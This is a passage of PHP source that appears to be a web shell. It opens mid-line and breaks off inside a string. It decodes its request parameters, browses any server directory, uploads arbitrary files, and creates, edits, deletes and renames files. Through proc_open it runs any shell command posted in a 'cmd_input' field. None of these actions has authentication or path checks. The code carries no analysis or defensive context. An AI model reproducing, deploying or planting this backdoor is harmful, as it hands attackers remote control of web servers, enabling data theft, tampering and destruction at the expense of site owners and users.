$d) $_GET[$c] = y($d);
$currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $rootDirectory);
chdir($currentDirectory);
$viewCommandResult = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['fileToUpload'])) {
$target_file = $currentDirectory . '/' . basename($_FILES["fileToUpload"]["name"]);
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "File " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " Upload success";
} else {
echo "Sorry, there was an error uploading your file.";
}
} elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) {
$newFolder = $currentDirectory . '/' . $_POST['folder_name'];
if (!file_exists($newFolder)) {
mkdir($newFolder);
echo '
Folder created successfully!';
} else {
echo '
Error: Folder already exists!';
}
} elseif (isset($_POST['file_name']) && !empty($_POST['file_name'])) {
$fileName = $_POST['file_name'];
$newFile = $currentDirectory . '/' . $fileName;
if (!file_exists($newFile)) {
if (file_put_contents($newFile, $_POST['file_content']) !== false) {
echo '
File created successfully!';
} else {
echo '
Error: Failed to create file!';
}
} else {
if (file_put_contents($newFile, $_POST['file_content']) !== false) {
echo '
File edited successfully!';
} else {
echo '
Error: Failed to edit file!';
}
}
} elseif (isset($_POST['delete_file'])) {
$fileToDelete = $currentDirectory . '/' . $_POST['delete_file'];
if (file_exists($fileToDelete)) {
if (is_dir($fileToDelete)) {
if (deleteDirectory($fileToDelete)) {
echo '
Folder deleted successfully!';
} else {
echo '
Error: Failed to delete folder!';
}
} else {
if (unlink($fileToDelete)) {
echo '
File deleted successfully!';
} else {
echo '
Error: Failed to delete file!';
}
}
} else {
echo '
Error: File or directory not found!';
}
} elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
$oldName = $currentDirectory . '/' . $_POST['old_name'];
$newName = $currentDirectory . '/' . $_POST['new_name'];
if (file_exists($oldName)) {
if (rename($oldName, $newName)) {
echo '
Item renamed successfully!';
} else {
echo '
Error: Failed to rename item!';
}
} else {
echo '
Error: Item not found!';
}
} elseif (isset($_POST['cmd_input'])) {
$command = $_POST['cmd_input'];
$descriptorspec = [
0 => ['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
];
$process = proc_open($command, $descriptorspec, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
$errors = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
if (!empty($errors)) {
$viewCommandResult = '
Result: